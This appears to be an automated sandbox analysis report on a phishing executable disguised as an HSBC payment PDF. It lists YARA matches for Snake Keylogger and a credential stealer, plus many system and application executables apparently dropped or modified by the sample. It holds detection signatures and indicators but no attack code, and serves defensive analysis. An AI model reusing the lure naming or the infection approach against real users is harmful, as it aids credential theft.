Windows Analysis Report
HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Security

Source: 117.0.5938.132_chrome_installer.exe.2.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.4
Source: 117.0.5938.132_chrome_installer.exe.2.dr	Static PE information: Resource name: BL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 1522998 bytes, 1 file, at 0x2c +A "setup.exe", number 1, 133 datablocks, 0x1203 compression
Source: Acrobat.exe.2.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
Source: SingleClientServicesUpdater.exe.2.dr	Static PE information: Resource name: 7Z type: 7-zip archive data, version 0.4

Source: msedgewebview2.exe.2.dr	Static PE information: Number of sections : 14 > 10
Source: msedge_proxy.exe0.2.dr	Static PE information: Number of sections : 12 > 10
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: Number of sections : 13 > 10
Source: pwahelper.exe0.2.dr	Static PE information: Number of sections : 12 > 10
Source: identity_helper.exe.2.dr	Static PE information: Number of sections : 12 > 10
Source: msedge_proxy.exe.2.dr	Static PE information: Number of sections : 12 > 10
Source: elevation_service.exe.0.dr	Static PE information: Number of sections : 12 > 10
Source: pwahelper.exe.2.dr	Static PE information: Number of sections : 12 > 10
Source: ie_to_edge_stub.exe.2.dr	Static PE information: Number of sections : 11 > 10
Source: notification_click_helper.exe.2.dr	Static PE information: Number of sections : 13 > 10
Source: elevation_service.exe0.0.dr	Static PE information: Number of sections : 12 > 10
Source: setup.exe.2.dr	Static PE information: Number of sections : 13 > 10

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2086157727.0000000003ED0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamearmsvc.exeN vs HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2090821480.0000000003ED0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameALG.exej% vs HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2111669308.0000000004140000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameDiagnosticsHub.StandardCollector.Service.exeD vs HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\AppVStrm.sys

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 17.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 17.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 7188, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: PerceptionSimulationService.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: private_browsing.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: updater.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.132_chrome_installer.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Au3Info_x64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3Help.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AutoIt3_x64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SciTE.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeARMHelper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jaureg.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7z.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zFM.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zG.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Acrobat.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcrobatInfo.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: notification_click_helper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pwahelper.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe0.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pwahelper.exe0.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdate.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateComRegisterShell64.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateCore.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateOnDemand.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: acrobat_sl.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroBroker.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroCEF.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SingleClientServicesUpdater.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroCEF.exe0.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
